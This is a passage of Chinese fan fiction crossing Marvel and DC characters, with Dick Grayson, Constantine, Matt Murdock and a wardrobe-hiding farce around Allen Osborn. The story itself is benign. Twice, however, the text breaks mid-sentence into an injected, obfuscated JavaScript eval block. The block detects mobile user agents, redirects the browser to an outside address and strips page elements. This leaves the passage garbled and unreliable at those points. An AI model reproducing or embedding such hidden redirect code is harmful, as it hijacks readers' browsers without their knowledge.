马修知道艾伦之前一直被他母亲和家里的管家、仆人照顾得很好,诺曼·奥斯本在物质上从来没亏待过艾米丽母子三人。 尤其是艾伦。 出于一些特殊原因,艾伦的一切都曾被诺曼·奥斯本牢牢掌握在手里,他甚至不被允许离开奥斯本家的老宅。 他的衣食住行都有人为他专门打理,他也从来不需要操心如何修一个老旧的床垫或者自己收拾房间。他想要什么几乎都唾手可得——除了人身自由和思想自由。 想着想着,马修脑海里就再度浮现出第一次见到艾伦的情景。 还带着婴儿肥的少年第一次从奥斯本家离开,他牵着母亲的手,安静地站在母亲身后一言不发。 直到在艾米莉的反复要求下,男孩才不情不愿地和他打招呼,然后像误闯陌生领地的小猫一样充满警惕地打量四周。 马修的心一下子就软成橘子果冻。 他家离巢的小鸟靠着自己的能力在这里搭了一个坑坑洼洼漏风漏雨的小鸟巢,他难道还能责备对方吗? 原本他以为艾伦离开纽约之后要不了多久就会回去,结果这孩子已经在外面坚持了快半年。把日子过成这样想必已经是他努力挣扎的结果了,他不能苛求太多。 马修叹了口气,认命地和弗吉一起在房间里翻翻找找了半天,结果除了一大堆卷了角的书和一口黢黑的煮锅之外,他们没能成功找到哪怕一把锤子或者钳子。 最后他只好满心无奈地又将那本法律小册子放在了凸起来的弹簧上,用力摁了摁然后又找了一床柔软的垫子重新铺上去。 他像头一次在艾米丽身边见到那个懵懂的少年时一样,轻轻摸了摸艾伦的头,“去睡觉吧,晚安,艾伦。祝你做个好梦。” 阳光从脏兮兮的玻璃窗子透进来,带着一层模糊的光晕打在马修·默多克的脸上,他那双看上去有些黯淡无光的眸子正无比专注地对着艾伦的方向,里面的关心几乎要溢出来。 虔诚的天主教徒像是从教堂里走出来的牧师,让艾伦的心一下子平静下来。 艾伦不服气地瞪着他,能在古德曼女士办公室里舌战黑邦为自己辩护的嘴此刻像是被黏糊糊的麦芽糖粘住了。 他抿着嘴唇,最终什么都没说出口。 医生站在原地暗自生了一会儿气,最后自我逃避地选择三两步把自己扔到床上,一把捞过被子盖住脑袋。 马修贴心地将窗帘拉上,让房间重新回归黑暗。 律师的手隔着被子十分温柔地摸了摸艾伦的头,然后他站起身轻手轻脚地准备离开。 在马修和弗吉即将关上卧室门的时候,听觉灵敏的默多克律师听见被子里传来一句闷闷的: “现在已经是下午了,午安,马特。” 14.谁的脑子不清醒了? 另一边,格雷森警官在靠谱医生艾伦提供的帮助下,成功以警察身份掌握了‘乌贼’的小据点,立下大功。 这次他抓到了明确的证据,并且赶在‘乌贼’的人前来销毁证据前就将东西封存进了警局的证物科。 当然,他留了一手。 出警视频和录音以及各种现场照片证据他都备了份,存在属于夜翼的基地里,免得证物科又发生抓不到嫌犯的偷盗事件。 格雷森警官一边在心里感谢艾伦宝贝让他成功在警局提前转正,一边认真思考晚上的菜谱。 艾伦和他一样连续忙碌超过了30小时,他们都需要一顿大餐来安抚一下闹脾气的胃部。 格雷森警官在心里继续郑重感谢奥斯本医生,因为医生让他每天都不得不肩负起家庭煮夫的责任,尝试让两个朝五晚十一的社畜一起活得像个正常人类而不是阴暗爬行的啮齿类动物。 迪克看着手机,心想现在医生应该正在睡觉。 所以他没有打电话,只是快乐地给医生发了条短讯—— “等你睡醒,一起去吃牛排吧。傻笑海鸥踢腿.gif” 发完短信,确认医生没有在半分钟内回复,他才心满意足地把手机塞进口袋里,阳光灿烂地走出了布鲁德海文警局,像一只整到了薯条的码头大海鸥。 终于没有记者堵在门口冲着他不停逼问了,现在这群人改成去找他们局长的麻烦了,真好。 以及,他买的新沙发昨天就到了,今晚应该可以装好并且邀请医生过来一起窝在沙发上看书。 他看医生那个被充作书架使用的沙发不爽很久了。 迪克摸摸下巴,心想他现在其实算是和医生同居了。 里面的原因有点复杂—— 奥斯本医生刚搬过来的时候炸了厨房和微波炉,所以只得在他的建议下花钱买了个新的微波炉,那东西被医生随手放在了客厅里——位置就在他和艾伦公寓共用的那面墙附近。 其实后来事情的走向早在奥斯本医生炸了厨房的那天就有所预兆——奥斯本医生毫不意外地第二次炸了微波炉。 但迪克认为他得说句公道话,这次爆炸确实不能怪奥斯本医生,要怪只能怪无良电器店老板。奥斯本医生毫无疑问是被奸诈的本地人坑了,他买了一台二手的微波炉。 并且没有仔细检查。 可是谁能想到二手微波炉里塞了炸弹呢? 幸好迪克在有了邻居之后就十分有先见之明地攒了一小笔钱,他给自己置办了一个小型秘密基地,并且把所有会暴露身份的东西都搬走了。 所以墙炸了也没什么关系,奥斯本医生人没事就行。 他还带着医生把被骗的钱要回来了。 那天晚上他们拿着那笔钱愉快地去享受了一顿大餐。 不过及时享乐的结果就是,他俩谁的裤兜里都翻不出一枚多余的硬币去修那堵破破烂烂惨遭横祸的墙了,于是只能任由它去。 但他和艾伦都不介意,并且很高兴能享受大横厅的快乐。 偶尔他和奥斯本医生能刚好在公寓门口遇上,然后他们就会通过随便哪扇大门回家,钻过客厅里的大洞进入各自的地盘。不过目前他们谁都没有打算告诉房东他们擅自把两间房改成了两室一厅。 奥斯本医生会跑来他的厨房蹭饭,他也经常跑去奥斯本医生的沙发上翻找最新的医学杂志和财经新闻。 他俩是非常合拍的室友,十分有分寸感的奥斯本医生脑子里压根没有多管闲事的那根弦,他甚至不必担心他借用奥斯本医生的阳台回家会招徕追问。 他们还在阳台上搭了绳梯,因为从阳台进入他们这栋公寓不用绕路。奥斯本医生坚持要在夜深人静的时候才肯偷偷使用,精英医生的偶像包袱有一吨重。 迪克忍不住有点想笑,然后就看见了被他挂在背包上的、皱巴巴的迷你夜翼娃娃——奥斯本医生亲自用羊肠线缝的。昨天他刚收到,看见的第一眼就觉得这小东西丑得惊天动地世间独一份。 看久了又觉得是超绝无敌小可爱。 夜翼珍惜地摸了摸夜翼娃娃的头,然后指尖一痛。 他无语地从娃娃脖子里抽出了一根针。 嗯……他的脑海里已经浮现出高冷医生死不认错的场面了,迪克发现自己更想笑了。 格雷森警官当然不是傻瓜,他知道自己对奥斯本医生的信任和亲密有点越界。 但是他目前确实沉迷于此,并且希望一直维持下去。 他不擅长去思考太多未来的计划和无法预测的变化,他愿意享受当下,并且将不愿面对的事情暂时抛之脑后。 这是一种很奇怪的感觉。 迪克有时候也很诧异他居然就这么丝滑地接受了自己对一个同性的好感越界的事实……应该是因为奥斯本医生第一天出现在他面前时就牢牢抓住了他的目光吧。他大约是犯了点儿一见钟情的小毛病,只不过他暂时还没想过要更进一步。 迪克叹了口气,从口袋里拿出钱包……糟糕今天出门时又拿错了,那是奥斯本医生的钱包。 算了也没有差别,都是空空的。 门外阳光灿烂,秋季午后温度适宜,暖融融的光芒让迪克昏昏欲睡,他掏空了奥斯本医生钱包里的最后一枚硬币,随手买了支玫瑰花。 买完他才觉得自己有点傻。 迪克抬头看了看街边橱窗里倒映着的自己。他嘴角正擎着一抹自己都没意识到的弧度,头发被阳光镶上一层金芒,一看就是奥斯本医生会喜欢的样子……大概吧。 可是艾伦好像从来没有对他表露过那个方面的意思。迪克突然意识到这个问题。 所以奥斯本医生对他有同样的感觉吗? 应该有吧,医生一看就是边界感很强的人,可是却从来没有对他展露过攻击性,除了他们见面的第一天。 夜翼站在街头,皱着眉头用思考企鹅人阴谋的庄重表情分析奥斯本医生的感情世界。 算了,分析不出来。 迪克对着太阳叹了口气。 布鲁德海文倒是不像哥谭一样整日笼罩着乌云和阴冷的雨水,这里偶尔能有灿烂的阳光和和煦的微风,空气中氤氲着海港城市特有的沙子、海产以及重工业产业链带来的独特味道。 迪克深吸一口气,决定还是把刚刚所有问题抛开。他迈开步子开心地坐上属于自己的破车,准备去找奥斯本医生。 然后,他就看见了破车后面已经坐了一个不速之客。 不速之客穿着一件棕黄色大衣,领带松松垮垮地挂在脖子上,一脑袋金发乱得可以给海鸥当鸟窝。 老熟人。 迪克愣了一下,旋即露出疑惑的眼神:“……康斯坦丁?你怎么会在这里?”还撬了我的车! 康斯坦丁熟练地点了一根烟,无视掉迪克抽搐的嘴角:“你以为‘乌贼’的地址是艾伦从谁手里拿的?我就是他雇用的私家侦探。” 迪克:…… 好像也不是很意外。 他就说艾伦到底雇佣了哪个不怕死的家伙去查黑邦的制毒公司,原来居然是地狱神探。 是不是有点大材小用?一般不都是世界快毁灭了、恶魔要入侵了、人类要灭绝了才轮得到这个重磅大杀器出场吗? 而且——康斯坦丁和艾伦?他们真的一点儿也不像是应该有交集的样子!! 康斯坦丁这次没做谜语人,他大大方方地开口交代前因后果:“我怎么拒绝得了奥斯本的钱?就像我无法拒绝韦恩的钱一样。” 迪克:“……是我想的那个奥斯本?” “你不知道?”康斯坦丁又抽了口烟,“嗨……其实也没什么好说的,一年前艾伦就包养我了,他给我开的价码让我愿意去地狱里为他偷撒旦的内裤。有钱人就是可以为所欲为。” 迪克努力忽视心里因为对方谈论医生时过分熟稔的语气而产生的些微不爽。 “不过听说艾伦宝贝现在的状况不太好?他弟弟要继承奥斯本集团了吧,也不知道他明年还会不会续费……啧,失去一个脸蛋漂亮要求又少的大客户真令人遗憾。” “……我觉得你应该离他远点。” “哦,用不着吃醋,前罗宾。我今天只是按照老板的要求来帮你。”康斯坦丁打了个哈欠,“艾伦宝贝让我用最快的速度去查那个黑邦的据点,你知道的,和别人相比,我没那么多道德底线。” 地狱神探掩去手心一闪而过的逆序三螺旋,漫不经心地继续解释,“他还特意交代了我,一定要好好保护一个叫理查德·格雷森的警官,不能让他受一点伤。我觉得我任务完成得不错,你说对吗,格雷森警官?” 迪克的耳根开始发热。 他没看见康斯坦丁的小动作,继续一本正经地把话题扯回正经事上:“就这样吗?我以为你不接这种和魔法无关的活儿。” “就是这样。”康斯坦丁看向车窗外。 寻常人类看不见的维度中,一闪而过的黑雾在康斯坦丁的眼中倒映出暗芒。 他咬着烟屁股含糊不清地说道:“没办法啊,有钱能使磨推鬼。艾伦宝贝又没说要和我解除合同,我当然得做好售后服务,我也是有职业道德的好不好?” 他咂咂嘴,看着迪克莫名有些慌乱的背影,眼珠转了一圈,不怀好意:“所以你对我的服务满意吗?我等会要给老板汇报一下任务。方便的话,你能帮我向你男朋友美言几句吗?请他继续在我这里续费吧,我发誓我什么都能做,就算我们三个一起也不是……” “……闭嘴吧!所以你到底怎么认识艾伦的?” “在交友软件上认识的哦。” 康斯坦丁搓了搓指尖,感受到一点黑暗造物带来的刺痛和黏腻的灼烧感,嘴里不着边际地继续胡说八道:“艾伦宝贝以前很爱我的,天天都和我有说不完的话。可是现在他好几个月都不联系我,一开口就是让我来给你当保镖和侦探,说真的我有点伤心。哦,幸运的格雷森警官,我要嫉妒你了,为什么住在艾伦宝贝心尖尖上的人不是我?” 迪克终于忍不住大声咳嗽起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14859551|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他很确定康斯坦丁前半句都在胡说八道,后半句绝对真实。 他感觉自己的心脏像是突然被人塞进了一大团柔软的、粉红色的、棉花糖一样的云朵里,又像是大热天猛灌了一口冰可乐,他现在快乐得想冒泡泡。 奥斯本医生心尖尖上的格雷森警官在地狱神探看不见的角度偷偷咧开嘴角,然后一脚油门把车开出停车场。 可怜的地狱神探后脑勺差点磕出窗外。 康斯坦丁:“……别这么激动好吗?你简直像是迫不及待去见朱丽叶的罗密欧。” “……别说这么不吉利的话。” 布鲁德海文超级英雄艰难地把自己从粉红泡泡里把拔出来,正色询问:“所以艾伦一年前雇佣你是为什么?” 康斯坦丁沉吟了几秒钟,说道:“有钱人家的小孩嘛,想见识一下魔法是件很稀奇的事吗?大家都好奇哈利·波特。” 夜翼从后视镜里紧紧盯着康斯坦丁的脸,不放过他任何一个细微的表情变动。他当然没那么容易相信康斯坦丁的话,或者说,他基本上确定康斯坦丁有话没说完。 地狱神探是个高明的骗子,九分真一分假的话再加上颠倒的前因后果,从他嘴里说出来的东西往往和真相南辕北辙,毕竟这个男人可是连撒旦都戏耍过的。 他突然开始好奇艾伦究竟因为什么才选择离家出走,同时更好奇艾伦一年前就找上康斯坦丁又是因为什么。反正肯定不是艾伦钱多得没处花,毕竟医生又不是布鲁斯。 夜翼逼迫自己不去思考那个最糟糕的可能——一般找上康斯坦丁的人总是所求甚多,他们的愿望金钱无法满足,现实世界无法实现,因此只能依靠魔法。而魔法却往往是最不可靠的东西。 所以艾伦究竟想要通过康斯坦丁得到什么呢? “我准备在布鲁德海文渡个假,给我找个住的地方吧,夜翼。”地狱神探理直气壮,“就当是替艾伦宝贝给的遣散费了,给你打个八折,不用客气!” 夜翼翻着白眼,却也没有拒绝。 他带着康斯坦丁一路飞驰,想要再掏出点关于奥斯本医生的信息,结果康斯坦丁东拉西扯,愣是一句有用的话都没说。 迪克被他烦的不行,于是更想回去给奥斯本医生一个大大的拥抱了。 医生身上的小秘密他肯定会弄清楚,但不是现在。 他只想告诉医生,下次真的不用请地狱神探来查案子或者保护他的安全了,他自己就行。 嗯……但是医生是在关心他,所以他会很委婉很委婉地向医生展示他其实很强,不仅能保护自己,还能保护医生。 等会他想带医生去吃大餐,然后他们可以去海边吹吹海风放松心情。最近电影院上映了一部烂番茄新鲜度87%的恐怖电影,据说里面有分尸情节,医生肯定会感兴趣,还有街角新开的冰淇淋店…… 格雷森警官计划得心满意足,脸上的笑容已经彻底盖掩不住了。 所以今天他依旧不想走正门。 快乐的格雷森警官趁着四周无人,飞快地顺着绳梯攀爬到了艾伦卧室的阳台上,然后一溜烟窜了进去。 他经常这么借用奥斯本医生的阳台,并且受到奥斯本医生的热烈欢迎。 因为他的到来往往意味着热可可、巧克力、双倍糖的咖啡和墨西哥卷饼,热乎乎的食物为医生疲惫的夜晚带来了甜美温柔的饱腹感和极大的情绪价值,以至于奥斯本医生已经养成了从阳台找食物的习惯。 而今天,迪克在医生的床头柜前放下了两张电影票。 想了想,他又把刚刚清空奥斯本医生钱包里的硬币买下的玫瑰花也放了上去。 医生还在捂着被子呼呼大睡,一看就是累惨了。他眼下的青黑和疲惫的睡颜让迪克忍不住心疼。 同时也被牢牢吸引。 迪克盯着奥斯本医生鼻尖儿上的那颗小痣,目光渐渐下移,最后落在医生颜色有些浅淡的薄唇上。 也许……他可以多迈出一步? 医生会接受吗? 昏暗的房间里,迪克轻手轻脚坐在医生床边,脑子变得晕乎乎的,纠结着一大堆他也说不清楚的东西。 他伸出手,慢慢将指尖伸向艾伦的脸颊。 就在他的掌心马上就要贴在奥斯本医生的脸颊上时,门口突然传来声音—— “……艾伦,艾伦你睡醒了吗?” 迪克脑中顿时一片空白,智商下线的同时四肢飞快动了起来。 然后他也不知道自己是怎么想的,反正等他反应过来的时候,已经用一个奇怪的姿势蹲在奥斯本医生的衣柜里了。 周围都是奥斯本医生的衣服,也全都是奥斯本医生的气息,恍惚之间,迪克以为自己被医生紧紧抱在怀里了。 又或者是他把医生紧紧抱在怀里,做了刚刚想做但没敢做的事。 可怜的、想象力充沛的大长腿警官蜷缩在柜子里,愣愣地盯着奥斯本医生挂起来的西装裤呆了几秒钟,然后捏着奥斯本医生的衬衣懊恼地把脑袋埋了进去。 15.超英战争? 艾伦的卧室门毫无预兆地被人推开,可怜的木门在撞击墙面吵醒艾伦之前被人一把握住把手。 来人走进室内,轻轻扣合门板。 盲眼律师拎着盲杖,神色警惕。 “艾伦?”他开口,“你睡醒了?” 艾伦显然没有睡醒,他翻了个身,把脑袋塞在枕头底下,不动了。 衣柜里的迪克已经恨不得用头撞墙,但是因为怕被外面的人发现而没敢动。 他自我放弃地蹲在柜子里,悄悄伸手抹平医生的衬衫上被他抓出来的皱褶,心想等会儿该用个什么姿势帮医生熨一下衣服才不会让医生觉得他是个大变态。 他躲在这里应该不会被发现吧? 如果被发现,那他就只好出柜了。 迪克充满忧伤地思考以后他在奥斯本医生心里究竟会变成什么形象,以及他还有没有挽回的机会。 不过眼下比较重要的是这个男人的身份。迪克倒是没有第一时间怀疑对方是坏人,因为他清楚医生的警惕性。所以……除了他以外,居然还有人能随意出入他的医生的卧室吗?! 艾伦的房间布置很简单,除了柜子和床之外几乎称得上家徒四壁。书本衣服的摆放方式和客厅里的差不多,都杂乱无章地堆叠在一起毫无秩序可言。不过和客厅不同的是,这里有很多奥斯本医生的个人收藏。 大腿骨、趾骨、腕骨和各种动物骨头模型都是奥斯本医生最爱的收藏品,迪克甚至曾经见过奥斯本医生用充满爱意的眼神和温柔的动作亲手制作小鼠骨架标本。 门口的男人慢慢走进来,在窗帘缝隙遮遮掩掩的昏暗光线中,迪克透过衣柜狭窄的缝隙看见了对方手中的盲杖和没有聚焦的眼睛。 盲杖点在地上,发出微弱的咔嗒声。 床上的一大坨医生微微动了动。 被子被修长的手掀开,露出一只睡迷糊的艾伦宝贝。 “马特,是你?……我饿了。”奥斯本医生翻出肚皮,哼哼唧唧地发出清醒的时候绝对不会发出的赖床声音。 迪克看见那个男人径直走向床边,然后搓了一把毫无防备的奥斯本医生的脑袋,语气宠溺:“那就起来吃点东西吧。想吃什么?我给你做。” 迪克就这么眼睁睁看着艾伦对那个陌生男人毫无防备地笑了一下,哪怕对方看不见。 其实艾伦只是茫然地被律师从床上拉起来,因为没睡够而委屈地抿了一下嘴唇。 落在迪克眼中,就是医生正对着另一个男人笑得‘阳光灿烂’,他还对着那个老男人撒娇!! 嘴角微微勾起来那也是笑!不接受反驳! 那个眼盲的男人也在笑着,两人之间看上去已经认识了很久,气氛亲密温馨得非比寻常。反正他很少见到这样柔软居家的医生。 艾伦没睡醒,他睁着茫然的眼神直直地看了一眼律师,然后两眼一闭,重新倒回床上。 “……让我再睡一会儿,求你了。” 贴心的律师爸爸:“等你睡醒吃奶油蘑菇浓汤,怎么样?” 奥斯本医生睡梦中混沌的大脑反应了一会:“还要烤菠萝配鹅肝。” 夜翼脑子嗡嗡的。心里苦涩的眼泪化成洪水即将填满布鲁德海文孤独的港口,努努力也许还能一把冲垮哥谭。 奥斯本医生昂贵的衬衫在他手里终于变成了腌菜,因为奥斯本医生从来没跟他要过鹅肝。 他难过地抱着衬衫,就像抱着自己碎成一地的玻璃心。 他心想,难道他尚未开启的出柜之旅柜门还没开就要被人用水泥封死沉尸布港了吗?! 不会的不会的。迪克把脸埋进医生的衬衫,大吸一口然后自我安慰——他和奥斯本医生关系那么好,医生的一切他都很了解,如果医生真的有爱人,他肯定早就发现了蛛丝马迹。 何况医生天天忙得要飞起,除了和他在一起哪有时间发展亲密关系? 他很清楚他和医生认识以来,医生从来没有接受过任何人的示好——医生甚至看不出来有人在对他发出约会的信号——所以医生绝对不可能在谈恋爱!何况那个男人看起来比艾伦大了快一轮! 不可能! 绝对不可能!! 然后,迪克就看见那个老男人动作熟练地再次把艾伦从床上拉了起来,还搂着艾伦的肩膀给他套上外套,又伸手掐了一把医生的脸! 迪克严肃着脸表情忧伤,心里的小人满地打滚揪头发:啊啊啊啊啊!啊!上帝你听到痛苦阴暗扭曲的夜翼尖叫了吗?!啊! 奥斯本医生不仅没有反抗,反而好脾气地顺着对方的力道从床上慢慢爬了起来。 迪克心里的小人不叫了,他给自己放了一把火彻底把自己烧成伤心的灰烬。刚刚还蹦蹦跳的爱情小鹿一头创死在医生的床上,死不瞑目。 马修听着衣柜里传来呼吸频率变化的声音,手里的盲杖攥得更紧了。 他知道,如果是艾伦惹上的黑邦杀手,这会儿肯定早就动手了,绝不会因为他的出现而躲进柜子里。 所以他决定把柜子里的偷窥狂送进监狱。 马修又摸了一把艾伦的脑袋,指挥他好大儿把穿错了左右脚的拖鞋换回来,并且若有若无地挡住柜子的方向。 他想了想,突然转身朝衣柜走去:“还是换一身衣服吧艾伦,我去帮你拿——衣柜在这边对吗?你身上的……去客厅脱下来让弗吉洗一洗。” 艾伦没所谓地哼了一声,又无精打采地打了一个大大的哈欠。 不想动。 还是好困好困好困。 马修的手即将触碰到衣柜的门。 迪克的心提到了嗓子眼里。 困成傻子的艾伦医生动作迟缓得像《疯狂动物城》里的闪电,完全不知道他的衣柜附近风起云涌,即将变成夜翼大战夜魔侠的战场。 他伸着一条胳膊努力去够被他扔在地上的手机,整个身体又缩回床上纹丝不动,大长胳膊像是在海里捞鱼。 迪克的心被那条胳膊捞来捞去,忽忽悠悠。 他看着看着心想,真可爱啊,真想被他捞走。 手机屏幕的光线让艾伦稍微清醒了一点。 19:00,是该吃晚饭了。 艾伦懒洋洋地去看马修,然后他视线一顿:…… 他的衣柜不知道什么时候打开了一条缝隙,昏暗的柜子里冒出一双可怜兮兮的蓝眼睛,正用祈求的目光看着他。 艾伦:……? 他的衣柜里长出了电锯警官? ……等等,马修是不是进他房间了?!他的标本! 电锯警官用口型不断重复着‘please~sorry~help~’等等让艾伦完全无法联系上下文的奇怪单词。 艾伦终究是不知道迪克要做什么。 不过他想起他小时候艾米莉说的,自由就是不要随意去探究别人的行为,只要他们没有伤害到你就可以。 艾伦想了想,虽然有点奇怪,但就算迪克喜欢在他衣柜里睡觉好像也没什么大不了的?毕竟人类物种的多样性嘛。 但是他很清楚马修有点被害妄想症。 律师在纽约的时候就经常疑神疑鬼,他常把路边的小混混当罪犯,又或者对金并那些已经成功逃脱法律制裁的小毛病穷追猛打——明明法官都不认为金并有罪。这导致律师经常被人报复。 他曾经认识的一位优秀强大的心理医生汉尼拔·莱克特告诉过他,这或许是因为律师以前被人伤害而患有ptsd。 艾伦知道马修因为这个ptsd经常克制不住自己和人打架斗殴,最糟糕的一次他对马修用上了两剂肾上腺素。 所以综合考虑马修可能会有的过度反应,他有理由认为如果马修发现他衣柜里住着迪克,肯定会不由分说把迪克当成私闯民宅的罪犯暴打一顿,说不定还会叫来夜魔侠和他一起打人! 迪克身手也不错,反抗起来肯定会把他的卧室弄得一团乱。 等他解释清楚,说不定打起来的两人已经把他收藏在角落里的腕骨和趾骨模型打碎—— 那可不行! 艾伦的眼神顿时凌厉起来。 他一跃而起,抢在马修之前一把打开衣柜。 迪克猫着腰,在柜门被打开的一瞬间,连滚带爬地从艾伦胳膊底下勇敢出柜。 他小心翼翼地蹭到艾伦另一边,和盲眼客人拉开距离,然后偷偷把刚刚那件忘记放下的医生的衬衣藏进外套里。 马修:…… 他心里翻江倒海,怒火滔天,剧烈的心理活动已经没办法用语言来形容了。 短短一瞬间两人的互动让他立刻意识到,艾伦和死变态关系匪浅。 原本他还以为是哪个不长眼的小贼偷到了艾伦这里,结果,他家艾伦宝贝居然和衣柜里的偷窥狂认识?!这是什么时候发生的事?! 叔(爸)叔(爸)绝对不允许! 迪克又对着医生尴尬地笑了一下,但由于马修在场,他只能捂着嘴巴,什么动静都不敢发出来。 就算差点发现他的是一位盲人,现在的状况也尴尬得让迪克忍不住脚趾扣地! 他羞耻地伸手指了指阳台,告诉医生他准备先回去。 至于解释他为什么会突然钻进医生的衣柜? ……还是先让他把头埋进沙子里吧。 艾伦也松了口气,他点点头,示意迪克赶紧走,千万别被精明的律师发现。万一触发律师的ptsd,他感觉他的卧室不保。 然而,被艾伦挤开的马修却突然脚步一转,走到了阳台附近。 他一把拉开窗帘,然后用自己的身体牢牢堵住阳台门。 马修:“艾伦,今天阳光不错,我记得这里有个阳台对吗?我们今天在这里吃晚餐怎么样?” 艾伦看了一眼僵硬在角落里完全不敢乱动的迪克,又看了一眼马修,最后又瞅了一眼面积不足一平米的迷你小阳台,心想马修真的不是故意的吗? 应该不会,马修又不是夜魔侠,他只是个普通律师而已。迪克的动作又这么轻,肯定不会被发现的。 他的标本肯定能保住,只要迪克偷偷趁机赶紧离开就好。 “……我以为每个地方都有它应该承担的功能,虽然我没有餐厅,但你为什么不考虑使用客厅或者厨房呢?” “……因为我想呼吸一下属于布鲁德海文的空气?” 艾伦:…… 那你仿佛是有什么大病。 迪克站在房间的角落里,进退两难。 凭藉他的耳力已经发现了卧室门外的客厅里还有人在叮叮哐哐地收拾房间做家务,而现在离开这间卧室的唯一一个出口——阳台已经被人堵住。 迪克想了想,轻手轻脚地绕到了律师的侧面,抱着一线希望试图从律师脚边和阳台的空隙之间钻过去。 艾伦同时行动起来,试图拉着律师回到客厅,拯救自己无辜的标本们。 马修错开艾伦的手,有意无意地堵住迪克的路,然后假装探路地挥出盲杖。 迪克倒吸一口冷气,有惊无险地躲过差点给他开瓢的盲杖,他浑身冷汗地就地一滚,滚到了奥斯本医生的脚边,然后一把拉住了奥斯本医生的裤腿。 艾伦心惊胆战地和迪克对视一眼。 艾伦:救了个大命!刚刚马修的盲杖差点就砸到了他的鼠鼠标本! 迪克:救了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14870833|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大命!那盲杖舞得他都听见风声了! 艾伦努力保持冷静:“我们去客厅吧马修!我想吃你做的奶油蘑菇浓汤!”求求你,放过我的标本! 他肯定不能让马修发现自己所有的工资都花在了那些骨头收藏品上……好吧,有些他确实走了非正常渠道,比如那个鳄鱼尾巴。 马修肯定会喋喋不休念叨他,说不定还会没收他的藏品!上次他收藏的一个死刑犯头颅标本还没捂热乎就被马修没收了! 马修攥着盲杖的手动了动,手背上青筋暴起,拳头攥得比他单枪匹马独闯手合会的那个夜晚还要紧。 他恨铁不成钢地咬着牙,用面对金并的演技用力松动腮帮子上的肌肉,挤出一个可怕的笑容:“……艾伦宝贝,你刚刚不是说想吃土豆培根浓汤吗?” 艾伦担惊受怕地看着马修的盲杖差点戳进他收藏的头骨的眼眶,马上迫不及待地点头:“嗯嗯嗯好啊好啊!” 马修:“……” 臭小子,明明你最讨厌土豆!现在你为了一个不知哪里来的野男人连土豆都愿意吃了吗? “艾伦,你是不是有什么事情瞒着我?”马修继续追问,然后拎着盲杖动作优雅却又仿佛不经意地堵死了迪克每一个想要逃跑的方向。 顺便还能用盲杖角度刁钻地冲着迪克的腿和脑袋抡过去。 站在艾伦的角度,他仿佛听见了标本碎裂的声音。他的卧室实在太小了,小到马修的盲杖和脚已经好几次擦过他的宝贝了! “马修……我……我带你去客厅!” “艾伦,我觉得我们可以先谈谈你的卧室……” 感谢艾伦租的小房子,马修一人一棍牢牢守住了卧室的江山,没有让那个偷窥狂抓住机会逃出去。 艾伦心痛地看着被迪克一脚蹬出来的头骨,用生平最快的速度冲过去一把接住抱在怀里:“求你了迪……马特!我们去吃饭吧!” 马修现在已经不仅想把房间里这个到处乱飞的大蟑螂一巴掌拍死了,他甚至还想狠狠揍艾伦一顿。 “你说什么,亲爱的?” “我说我想吃你做的土豆培根浓汤!走吧,我快饿死了,马特……叔叔!” 马修于是更生气了。 艾伦基本上不怎么叫他马修叔叔,除非有事求他。 现在,他的好大儿为了一个该死的偷窥狂小混混,求他! 何德何能啊,这个该死的大蟑螂、偷窥狂、该被大卸八块的小混混,你等着吃我盲杖吧! 迪克在狭小的空间里用上毕生所学的体操姿势辗转腾挪,最后还是被可怕的律师逼得爬上了衣柜顶。 艾伦一边跟着迪克的脚步,一边心痛地看着自己的鼠鼠标本散成满天星。 医生的天终于塌了。 关键他还不敢说什么。 迪克一边躲他一边却忍不住开心地笑了——原来是叔叔啊,那没事了。 不对,那更有事了!! 马修磨牙,感受到艾伦一步不落地跟着迪克,一副生怕偷窥狂受伤的样子,怒火彻底克制不住了。不仅是对迪克,还是对着艾伦—— 他就是想打那家伙一顿而已,又不是想要了对方的命,看把你心疼的! 他手里的盲杖像是不小心手滑似的脱手而出,旋转着飞向柜子顶。 艾伦忍不住捂住眼睛,为他可怜的蛇骨标本默哀。 迪克一个纵身躲过,两只手紧紧扣住了房梁,无处安放的双脚最后可怜兮兮地踩上了门框。 可怜的迪克惊慌失措得像一只误闯人类领地的大肥鸟。 被凶残邪恶的人类律师追得满屋子乱飞,慌不择路中还掉了一地的毛。 他怀疑自己已经被发现了。 艾伦的表情已经死了,因为他终究还是没能成功救下他放在角落里的那条蛇骨模型,反而差点挨了马修一棍子。 三方陷入僵持。 迪克感受到的是心爱的医生对他的保护和珍视,艾伦感受到了失去谷子的绝望,律师被儿子爱上变态这件事气得手发抖。 门口传来脚步声,弗吉的声音由远及近。 卧室大门再次被人缓缓推开,在迪克绝望的眼神中,他的双脚再次失去了着力点。 弗吉站在门口:“你们两个躲在卧室里说什么父子之间的悄悄话呢?有什么事我不能知道的吗?”他怀疑这对父子打起来了。 艾伦看着悬在弗吉头顶上的屁股,不忍直视地转过头。 “什么都没有,我们准备去吃饭。”艾伦的语气透着生无可恋。 他将盲杖从地上捡起来塞进马修手中,拼命把人往外推,“快点吧,我饿了。你肯定也饿了吧,马特!叔!叔!”剩下的谷子不能再有损失了! 马修突然叹了口气。 他最终还是顺着艾伦的力道,假装什么都不知道地离开了房间。 弗吉在两人背后毫无所觉地关—— 门关不上。 他疑惑地又将门板来回合了两下,结果发现这门似乎坏了。 